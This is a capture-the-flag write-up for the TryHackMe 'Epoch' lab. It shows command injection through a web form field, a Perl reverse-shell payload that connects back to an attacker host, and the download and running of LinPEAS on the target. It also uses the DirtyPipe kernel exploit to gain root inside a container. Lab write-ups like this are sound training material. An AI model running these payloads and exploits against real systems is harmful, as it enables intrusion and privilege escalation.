Try Hack Me - Epoch

Alright so before even booting this one up, we know that there's going to be some utility on port 80 that likely executes date on a shell. It's probably going to be trivial to escape the context and get a shell on the system.

Walk Through

Load the target IP in a browser to render the page
Start a netcat listener on your machine

nc -nvlp 5555

Replace the IP in this payload with your own

1668116724; perl -e 'use Socket;$i="10.0.0.1";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Paste that payload into the Epoch field in the website
Back on your netcat listener, you should have a shell.
Show environment variables to get the flag. env | grep flag

Write Up

I just dove right in, load up Burp Suite and render the page: I grabbed an epoch for today with date +%s and entered it into the input: The first thing I tried to escape the context and get code execution, was adding a ;. This would be absolute worse case, to my surprise and slight disappointment, it worked: Then I started looking for binaries present that I could use to get a reverse shell. Here are the payloads I tried that failed:

1668116724; which nc
1668116724; which python What was present:
bash
sh
perl I should be able to use perl and bash to get a shell. I started a listener:

$ nc -nlvp 5555

And used this payload:

1668116724; perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Well, that was easy. The flag isn't within the breached directory though so we'll have to explore a little. Things I checked:

sudo isn't present
crontab isn't present
Can't view any root processes
There is a root directory
find / -name flag.txt produces nothing
OS is AWS Ubuntu 20.04 LTS I got lazy and decided to try LinPEAS:

# Download the scrip on my machine
cd ~/Desktop && mkdir -p scripts && cd scripts && wget "https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh" -O linpeas.sh
# Host it from my machine
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On target shell:

wget <my_ip>:8000/linpeas.sh
... saved ...

Execution:

chmod +x linpeas.sh && ./linpeas.sh
...
═╣ release_agent breakout 1........ Yes
curent: = CAP_CHOWN...
...

The first suggested vector was 'release_agent_breakout 1`, it seems we're executing within a container. It does seem that we need to root the container before we can abuse this. So, the next thing noticed is that we have CAP_CHOWN. When a program is running with cap_chown capability in the effective set, it can change the user or/and group ownership of any file on the system. This is directly linked to privilege escalation as you can change the ownership of the shadow file and update the new password. The issue though, is there is actually no binary on this system with the permission. I keep coming up dry, so It's time to try the kernel exploits... First up:

[+] [CVE-2022-0847] DirtyPipe
   Details: https://dirtypipe.cm4all.com/
   Exposure: probable
   Tags: [ ubuntu=(20.04|21.04) ],debian=11
   Download URL: https://haxx.in/files/dirtypipez.c

Alright, I downloaded the exploit code. It says to feed it one argument, the path to a binary with SUID capabilities.

# On target
wget MYIP:8000/dirtypipez.c
gcc -o d dirtypipez.c
./d /bin/su
id
uid=0(root) gid=0(root) groups=0(root)

Awesome we have root! Sadly, the flag isn't within the /root directory so I think we have to fully escape the container. Now that we have root though, I should be able to use release_agent_breakout, but I couldn't get it to work. mount won't allow me! So, I instead pivoted to trying to abuse dac_override. There's a c exploit to try... shocker.c but I went through the effort of editing, compiling and executing it to realize that we also need dac_read_search for this to work. I really don't know where else to go! I just kept poking around at the system, re-running scanning scripts on both users until I noticed... there's some weird environment variables set for the challenge user...